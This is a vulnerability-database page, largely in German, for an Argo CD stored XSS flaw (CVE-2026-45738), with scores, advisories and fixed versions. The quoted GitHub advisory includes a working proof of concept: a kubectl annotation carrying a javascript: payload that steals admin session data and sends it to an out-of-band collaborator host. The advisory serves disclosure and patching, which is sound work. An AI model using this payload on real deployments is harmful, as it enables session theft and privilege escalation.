CVE-2026-45738

highPriorität · verfolgen · 35EPSS 0.006 · 49. PerzentilDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.61% (49th) EPSS
CVSS 8.7 · high
Is it mine?
22 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · bewertet 2026-10-27

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.7
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Nprimary · NVD / NIST USAusnutzbarkeit 2.3 · Auswirkung 5.8
v3.17.3highCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:Nsecondary · ENISA EU
v3.17.3highCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2.1 · Auswirkung 5.2
v3.17.3highCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:Nsecondary · OSV
v3.18highCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (22)

Betroffene Produkte und Versionsbereiche.

20 von 22 angezeigt
05

Advisories (4)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-1566Argo CD: Mehrere SchwachstellenDeutsch2026-05-17csaf · cert_bundDE

    Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Argo CD ausnutzen, um Informationen offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen, wodurch potenziell Administratorrechte erlangt werden können.

  • GHSA-h98r-wv3h-fr38Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation2026-05-19ghsa · osvUS

    ### Summary A user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's **URLs section** as `<a href>` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin. ### Details **Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277` ```tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'> {parts[0]} </a> ``` The annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target='_blank'` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed `fetch()` calls). **Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink. **CSP:** ArgoCD's default Content Security Policy is `frame-ancestors 'self'` only — no `script-src`, no `connect-src`, no `default-src` — providing **zero XSS execution mitigation**. ### PoC **Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`). **Step 1 — Set malicious annotation as developer:** ```bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))' ``` The URL section in the admin's Summary tab renders the link as **"GitHub Repo"** — the `javascript:` payload is invisible in the displayed text. **Step 2 — Admin opens Summary tab** of the annotated application and clicks the link. **Step 3 — JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator: ```javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"})) ``` **Step 4 — Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response: ```json {"iss":"argocd","loggedIn":true,"username":"admin"} ``` **Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3. ### Impact - **Stored XSS** — payload persists in the Kubernetes Application resource until manually removed - **Privilege escalation** — developer role → admin session hijacking via authenticated API calls - **Maximum stealth** — the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim - **No server-side interaction required** — purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP) - Any admin or operator who views the Summary tab of the compromised application is affected ### Credits Discovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) — [turingpoint.de](https://turingpoint.de)

  • BIT-argo-cd-2026-45738Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation2026-07-21vendor · osvUS

    Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

  • GO-2026-5418Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd2026-06-25vendor · osvUS

    Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-07-15geändert 2026-10-24
08

Referenzen (21)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan